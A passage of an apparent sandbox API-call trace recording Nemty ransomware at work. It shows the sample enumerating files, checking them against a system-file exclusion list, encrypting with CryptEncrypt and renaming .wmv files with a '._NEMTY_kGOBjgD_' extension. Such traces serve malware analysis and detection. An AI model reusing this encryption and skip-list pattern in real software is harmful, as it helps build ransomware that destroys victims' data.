ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.018] CloseHandle (hObject=0xffffffff) returned 0 [0091.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0091.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0091.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.018] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv._nemty_kgobjgd_")) returned 0 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0091.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0091.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.019] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2=".") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="..") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="...") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="windows") returned -1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="rsa") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="ntldr") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="IO.SYS") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="ntuser.dat") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="desktop.ini") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="RECYCLER") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="bootmgr") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="programdata") returned 1 [0091.019] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="appdata") returned 1 [0091.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0091.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0091.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0091.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0091.020] Sleep (dwMilliseconds=0x5) [0091.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9e6bbd0, dwHighDateTime=0x1d561e7)) [0091.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9e6bbd0, dwHighDateTime=0x1d561e7)) [0091.024] GetLastError () returned 0x5 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.024] GetLastError () returned 0x5 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.024] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0091.024] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="uMFYOKIz8BZ1QwAqWALsI4gHJWYVqg4ZP3TK2OxAB8gH3B2TGKVKkNp4EWmpCGPe\r\nKZTZOu+tLLXdrgeuFRYNN/sIorL9XSLkh7jzXkXfQOB4QGibTdN12B/6EODROImL\r\nSVQAto+WIldNthQ5txApwpWMaJz1d6CnsdEBHMtGBbLoQwuvlqEm24mfRCElyLLk\r\nQYmlWMcB0YWnYjTV4GwDKf9L2VESVyvWcghtCpSoWnK4njcLZTb86mrpmC9e1cHr\r\nboiAiwFU7Ml28DBW2yZGSJ9yi1+Wblypx4z4uEXWDRX55+jabwLtFSqwyS3w8wML\r\nONx+M/+X+ZCZwjHxLvYQmg==\r\n", pcchString=0x653e91c) returned 1 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0091.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0091.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.024] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.025] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.052] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.144] 